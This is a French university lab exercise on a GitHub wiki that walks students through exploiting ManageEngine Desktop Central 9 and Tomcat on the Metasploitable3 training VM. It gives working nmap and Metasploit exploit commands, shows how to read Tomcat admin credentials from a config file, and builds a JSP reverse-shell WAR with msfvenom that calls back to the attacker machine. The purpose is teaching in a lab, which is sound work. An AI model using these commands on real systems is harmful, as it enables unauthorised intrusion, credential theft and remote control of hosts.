TP1 : Exploiter ManageEngine Desktop Central 9 - tsylla/IT381_TP GitHub Wiki
L'une des applications vulnérables installées est ManageEngine Desktop 9. En effet, la version 9 de ManageEngine Desktop contient quelques vulnérabilités qui nous permettent de téléverser des fichiers et exécuter des commandes sur la machine cible. Une liste des applications vulnérables disponibles sur metasploitable3 est disponible à cette adresse https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities.
ManageEngine Desktop Central est une application intégrée de gestion des ordinateurs de bureau et des appareils mobiles qui aide les administrateurs système à gérer les serveurs, les appareils des clients et les appareils mobiles à partir d'un emplacement central. Le logiciel comprend des fonctionnalités pour la gestion des correctifs, le déploiement de logiciels, le contrôle à distance et de nombreuses autres fonctions pour gérer les actifs et la configuration des TI (terminaux informatiques). ManageEngine Desktop Central est géré par une application web qui s'exécute sur le port 8383 de Metasploitable3.
Dans un premier temps, à partir de Kali, nous lancerons un scan avec Nmap sur la machine cible (Windows 2008) pour en découvrir les services réseaux en cours d'exécution. Kali (machine de l'attaquant) et la machine cible seront sur le même réseau local.
- Comme condition de votre utilisation de ce TP, vous garantissez à Moi, et votre structure universitaire que vous n'utiliserez pas ce TP à des fins illégales ou interdites par ces termes, conditions et avis.
- Il s'agit d'un TP d'enseignement qui ne tolère aucun comportement malveillant de quelque nature que ce soit.
- Vous êtes informé que la poursuite et/ou l'utilisation de ce TP en dehors de votre "propre" environnement de test est considérée comme malveillante et est contraire à la loi.
Avant de commencer toute attaque d'exploitation, il faut énumérer (scanner) la liste des machines pour découvrir les machines. Ensuite, on énumère les services disponibles sur la machine cible. Cela permet d'en savoir plus sur les services disponibles sur la machine et nous permet de déduire comment l'on doit procéder pour mener à bien notre exploit. Nmap est un excellent outil pour réaliser divers types d'énumération sur un réseau ou sur un système.
NB : Pour la suite de ce TP, les adresses IP devront être remplacées par les adresses IP respectives de vos VMs.
Nous allons lancer un scan sur le sous réseau sur lequel est connecté notre machine attaquante (Kali) et notre machine cible. Pour cela, il faut écrire :
nmap -sn 172.28.128.0/24
Le type de scan -sn
indique à nmap qu'il faut simplement faire un ping sur toutes les adresses ip de la plage pour découvrir les machines. Pour ce type de scan, le scan de port est désactivé.
- Faite un tableau des adresses IP DES machines trouvées par le scan.
- Quelle option utilisée si l'on souhaite que nmap effectue un scan de type list scan ?
Nous allons effectuer un scan sur tous les 65536 ports en spécifiant comme type de scan-sV
et comme option-p-
. Le type de scan-sV
indique qu'il faut sonder les ports pour trouver des infos sur les services qui écoutent sur ces ports.
nmap -sV -p- 172.28.128.5
Le résultat du scan devra indiquer que plusieurs services réseaux tournent sur la machine cible. Par exemple le service Apache HTTPD est sur le port 8020 et en mode SSL sur 8383.
- Quelle option utilisée si l'on souhaite scanner que des ports UDP ?
Intéressons nous à ce dernier. Ouvrez un navigateur web et saisissez https://172.28.128.5:8383.
Comme vous pouvez le constater, il s'agit de l'interface web d'administration de ManageEgine Desktop Central 9. La prochaine étape consiste à trouver un exploit dans la base des exploits metasploit pour le logiciel cible et mettre l'attaque en exécution.
Le framework Metasploit utilise PostgreSQL comme serveur de base de données, nous avons donc besoin de le lancer en exécutant la commande suivante :
service postgresql start
Vous pouvez vérifier que le PostgreSQL est en cours d'exécution en exécutant la commande suivante :
service postgresql status
Une fois PostgreSQL est actif, vous devez créer et initialiser la base de données msf en exécutant la commande suivante :
msfdb init
4. Quelles sont les bases de données créées à la suite de l'exécution de cette commande ?
Nous allons à présent chercher les exploits relatifs aux vulnérabilités de la version de ManageEngine Desktop Central 9. La commande searchsploit _nom_système_concerné_
permet de trouver les exploits de nom_système_concerné.
Exécuter la commande searchsploit ManageEngine Desktop Central 9
.
5. Reportez dans un tableau le résultat de la recherche searchsploit. Quels sont les exploits qui concernent les vulnérabilités de la version 9 du logiciel ?
Pour la suite du TP, nous exploiterons l'exploit ConnectionId write qui permet à un attaquant d'uploader un fichier, en occurrence un exécutable sur le serveur. Pour ce faire, lancez la console Metasploit :
msfconsole
Une fois la console lancée, il faut indiquer à metasploit l'exploit que nous allons utiliser en exécutant la commande use. La liste des commandes disponibles peut être affichée en utilisant la commande help.
use exploit/windows/http/manageengine_connectionid_write
Maintenant il faut paramétrer l'exploit avec la commande set :
set RHOST 172.28.128.5
set RPORT 8383
set SSL true
set LHOST 172.28.128.3
run
6. Définir les paramètres RHOST, RPORT, LHOST.
7. Que remarquez vous après l'exécution de la commande run ? Est-ce que l'exploit a réussi ? Avez vous obtenu une ligne de commande ?
8. Exécutez la commande suivante :
execute -f cmd.exe -i -H
9. Que remarquez vous à présent ? Avez vous vraiment accès à cmd.exe ? Conclure.
Revenez dans meterpreter en terminant le programme cmd.exe (CTRL+C). Exécutez la commande netstat. Le résultat de cette commande nous permet d'en savoir plus sur les services réseaux en cours d'exécution sur la machine cible.
10. Parmi les services réseaux en cours d'exécution, Apache Tomcat écoute sur quel port ? Qu'est ce que la présence d'Apache Tomcat 8 nous renseigne en termes de nouvelles vulnérabilités ?
Pour en savoir plus, ouvrez un navigateur et lancer la page suivante : http://172.28.128.5:8282. Cette adresse nous permet de directement accéder à l'interface d'administration de Tomcat.
L'interface administration de tomcat nous permet de téléverser de nouvelles applications web écrit en java sous format war (web archive). Cependant, pour y arriver, il faut accéder au menu Manager App et il faut avoir le login/mot de passe de l'administrateur. La vulnérabilité de Tomcat est que le couple
nom d'utilisateur mot de passe administrateur sont stockés dans le fichier tomcat-users.xml se trouvant dans le repertoire conf du dossier d'installation de Tomcat (Sur windows, ce répertoire est dans Program File).
11. Ouvrez ce fichier et relevez le couple login/mot de passe de l'utilisateur ayant le rôle manager-gui
. Utilisez ces informations pour ouvrir Manager App. Avez-vous accès à l'upload de fichier à partir de cette page ?
Si oui, quel est type de fichier peut-on uploader ?
Nous allons utiliser msfvenom pour générer une application web malicieux qui nous permettra de maintenir l'accès au système tout en nous permettant l'escalation de privilège.
msfvenom est le mélange de msfpayload et de msfencode. msfpayload est une ligne de commande de metasploit qui permet de générer plusieurs types de shellcode. msfencode permet d'encoder le shellcode générer par msfpayload afin de l'adapter au système de destination.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.28.128.3 LPORT=4445 -f war > malicious.war
Téléverser le fichier généré à travers l'interface Manager App.
A présent, lancer msfconsole et utiliser l'exploit exploit/multi/handler
. Définissez les paramètres LHOST, LPORT et le payload.
set LHOST 172.28.128.3
set LPORT 4445
set PAYLOAD java/jsp_shell_reverse_tcp
run
Maintenant, retournez dans la page d'administration de tomcat et activez l'application web malicieux. Qu'est ce que vous remarquez?
12. L'exploit a t-il réussi ? Exécuter la commande whoami
. Quel est le résultat de cette commande ?